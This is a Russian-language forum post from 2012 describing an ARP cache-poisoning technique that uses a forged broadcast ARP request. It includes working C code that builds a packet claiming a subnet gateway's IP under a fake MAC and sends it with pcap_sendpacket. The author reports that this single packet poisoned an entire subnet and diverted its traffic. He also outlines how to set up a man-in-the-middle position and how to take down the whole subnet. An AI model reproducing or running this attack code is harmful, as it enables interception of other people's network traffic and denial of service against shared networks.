ARP: DoS одним пакетом

Тема в разделе "WASM.NETWORKS", создана пользователем sn0w, 19 фев 2012.

  1. sn0w

    sn0w Active Member

    Публикаций:
    0
    Регистрация:
    27 фев 2010
    Сообщения:
    958
    была (впрочем и есть) такая штука как ARP спуфинг. делался он методом фальшивого ARP ответа. на данное время файерволлы, да и просто оси, прекрасно понимают что внезапно пришедший шлак, который они и не запрашивали, никоим образом не стоит рассматривать, уж не говоря о занесении его в ARP кеш.

    тащемта сидел я и думал как перехватить чужой трафик. на ARP ответы травились только некоторые роутеры пользовательские, но не шлюз и не другие машины (подсеть 2к хостов). с одной стороны ловить то было особо нечего - везде pptp и l2tp, с другой стороны - хотелось чтонибудь да сделать.

    и сделал. вместо ARP ответа решил отправить бродкаст ARP запрос такого рода (кто имеет какойто_ипадрес_от_балды, скажите мне, типа я_ваш_шлюз_сети, и мой мак 00123456789а):

    Код (Text):
    1.         //dst == broadcast
    2.     memcpy(poison_packet, "\xff\xff\xff\xff\xff\xff", 6);
    3.         //src == any, fake
    4.     memcpy(poison_packet+6, "\x00\x12\x34\x56\x78\x9a", 6);
    5.         //type: ARP
    6.     memcpy(poison_packet+12, "\x08\x06", 2);
    7.         //ARP stuff: hw type, proto type, opcode (req/reply)
    8.     memcpy(poison_packet+14, "\x00\x01\x08\x00\x06\x04\x00\x01", 8); // 01 == arp request
    9.         //sender mac == src
    10.     memcpy(poison_packet+22, "\x00\x12\x34\x56\x78\x9a", 6);
    11.         //sender ip == subnet gateway ip
    12.     memcpy(poison_packet+28, "\x0a\x22\x18\x01", 4);
    13.         //target mac == null
    14.     memcpy(poison_packet+32, "\x00\x00\x00\x00\x00\x00", 6);
    15.         //target ip == random from subnet boundaries
    16.     memcpy(poison_packet+38, "\x0a\x22\x1c\x12", 4);
    17.  
    18.     pcap_sendpacket(fp, poison_packet,  64);
    и мягко говоря, приуел:

    [​IMG]

    (фильтр стоял на мак 00123456789а, который не принадлежит моей сетевухе)
    траванулись все. с одного пакета, судя конечно по тому как вырос входящий трафик ( >5k пакетов/c. думается что и больше будет, ибо раннее воскресное утро)

    вообщем, делать мужика в середине очень просто - шлем по одному ARP запросу жертве и шлюзу (не бродкасты конечно) и просто перекладываем траф используя какойнибудь левый мак.

    досить всю подсеть - еще проще. такто.

    **
    тащемта: а) арп кеш травится не только ответами, но и запросами
    б) идс повидимому на данный момент не могут противостоять этому
    в) сетевые девайсы запоминают канальный маршрут следования фрейма